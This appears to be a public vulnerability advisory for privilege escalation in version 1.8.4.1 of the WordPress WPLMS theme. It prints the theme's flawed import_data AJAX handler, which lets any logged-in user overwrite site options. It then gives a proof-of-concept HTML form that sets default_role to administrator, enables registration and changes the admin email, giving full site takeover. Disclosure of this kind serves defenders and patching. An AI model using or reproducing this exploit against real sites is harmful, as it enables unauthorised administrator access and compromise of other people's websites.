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WordPress WPLMS Theme Previlege Escalation
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[-] Author: Evex

http://packetstormsecurity.com/user/evex/
twitter: https://twitter.com/Evexola

[-] Theme Link:

http://themeforest.net/item/wplms-learning-management-system/6780226


[-] Affected Version:

Version 1.8.4.1


[-] Vulnerability Description:

The vulnerable code is located in the /includes/func.php
script:


add_action( 'wp_ajax_import_data', 'import_data' );
function import_data(){
  $name = stripslashes($_POST['name']);
  $code = base64_decode(trim($_POST['code']));
  if(is_string($code))
    $code = unserialize ($code);
  $value = get_option($name);
  if(isset($value)){
    update_option($name,$code);
  }else{
    echo "Error, Option does not exist !";
  }
  die();
}


then function import_data can be called by logged in users
and executed which can lead to modifying wordpress settings and adding a
new administrator which may cause the site a full take over


[-] Proof of Concept:


(Must be submited with a logged in user)
OPTION:
admin_email, default_role, users_can_register

Value(must be serialized then encoded by base64):
users_can_register (0,1)

default_role (administrator, author, editor...)

admin_email( whatever@duh.com )

<form action="http://domain.tld/wp-admin/admin-ajax.php?action=import_data"
method="post" >
  <input type="hidden" name="name" value="OPTION" />
  <input type="hidden" name="code" value="VALUE" />
  <button type="submit" >Submit</button>
</form>